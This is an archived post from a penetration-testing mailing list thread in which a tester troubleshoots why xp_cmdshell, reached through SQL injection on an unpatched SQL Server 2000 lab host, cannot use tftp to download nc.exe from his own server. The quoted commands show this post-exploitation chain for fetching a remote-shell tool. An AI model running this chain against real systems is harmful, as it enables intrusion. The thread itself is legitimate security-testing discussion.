Penetration Testing mailing list archives
Re: TFTP and XP_CMDSHELL - Weird
From: "Andres Molinetti" <andymolinetti () hotmail com>
Date: Thu, 23 Jun 2005 13:47:53 +0000
From: Diego Kellner <dkepler () gmail com> Reply-To: pen-test () securityfocus com To: Andres Molinetti <andymolinetti () hotmail com> CC: pen-test () securityfocus com Subject: Re: TFTP and XP_CMDSHELL - Weird Date: Thu, 23 Jun 2005 09:35:40 -0300 Does the TFTP even start? What is the error message you get?
If it is any useful I recieve the following error on the Target machine: "tftp: No se puede escribir en el archivo local 'c:\xx.exe'" (tftp: Not able to write in local file 'c:\xx.exe') In a tcpdump in my TFTP Server I get the following error:10:41:37.528994 IP TARGET.1942 > SERVER.tftp: 48 ERROR EACCESS no se puede abrir el archivo para escritura"
(cannot open file for writing) Check to
see the permissions on tftp.exe (the SQL may not be properly patched, but someone might have taken the time to secure some key executables on WINNT directory according to best practices). If you have no direct access to see the permissions on this file, check to see if ping.exe works (another 'dangerous' executable that is usually secured along with tftp.exe, dcpromo.exe, etc).
I am testing it in my own controlled environment. I installed the TARGET myself and it only has Windows 2000 SP4 with latest patches and SQL Server 2000 unpatched.
Ping works. Besides, tftp works, but only with admin privileges.
Regards, Kepler On 6/22/05, Andres Molinetti <andymolinetti () hotmail com> wrote: > Hi, I am testing a Web App vulnerable to SQL Injection. > It is hosted in a Windows 2000 SP4 and SQL 2000 with no patches. >> While trying to use the xp_cmdshell to upload nc.exe from my tftpd server to> the Webserver, I experienced some problems. > > I was able to execute xp_cmdshell 'echo a > c:\a.txt' . File is created. >> As administrator (using a windows cmd.exe shell) I ran "tftp -i myHost GET> nc.exe c:\nc.exe". File is downloaded. >> When I tried it through the wep app it failed. I tried directly through SQL> Query Analizer and it also failed. > > SQL is running as a low priviledged account (sqlsvc)... >> Then I ran (as Administrator) "runas /user:sqlsvc tftp -i myHost GET nc.exe> c:\nc.exe" and IT FAILED.!! > > I can easily deduce that the problem is the TFTP client (tftp.exe)... > > Any Ideas? > > _________________________________________________________________ > Moda para esta temporada. Ponte al día de todas las tendencias. > http://www.msn.es/Mujer/moda/default.asp > >
_________________________________________________________________Un amor, una aventura, compañía para un viaje. Regístrate gratis en MSN Amor & Amistad. http://match.msn.es/match/mt.cfm?pg=channel&tcid=162349
Current thread:
- TFTP and XP_CMDSHELL - Weird Andres Molinetti (Jun 22)
- Re: TFTP and XP_CMDSHELL - Weird Jose Selvi (Jun 23)
- Re: TFTP and XP_CMDSHELL - Weird Andres Molinetti (Jun 23)
- Re: TFTP and XP_CMDSHELL - Weird Frederic Charpentier (Jun 23)
- Re: TFTP and XP_CMDSHELL - Weird Andres Molinetti (Jun 23)
- Re: TFTP and XP_CMDSHELL - Weird Javier Fernandez-Sanguino (Jun 23)
- Re: TFTP and XP_CMDSHELL - Weird - SOLVED Andres Molinetti (Jun 24)
- Re: TFTP and XP_CMDSHELL - Weird Jose Selvi (Jun 23)
- Re: TFTP and XP_CMDSHELL - Weird Andres Molinetti (Jun 23)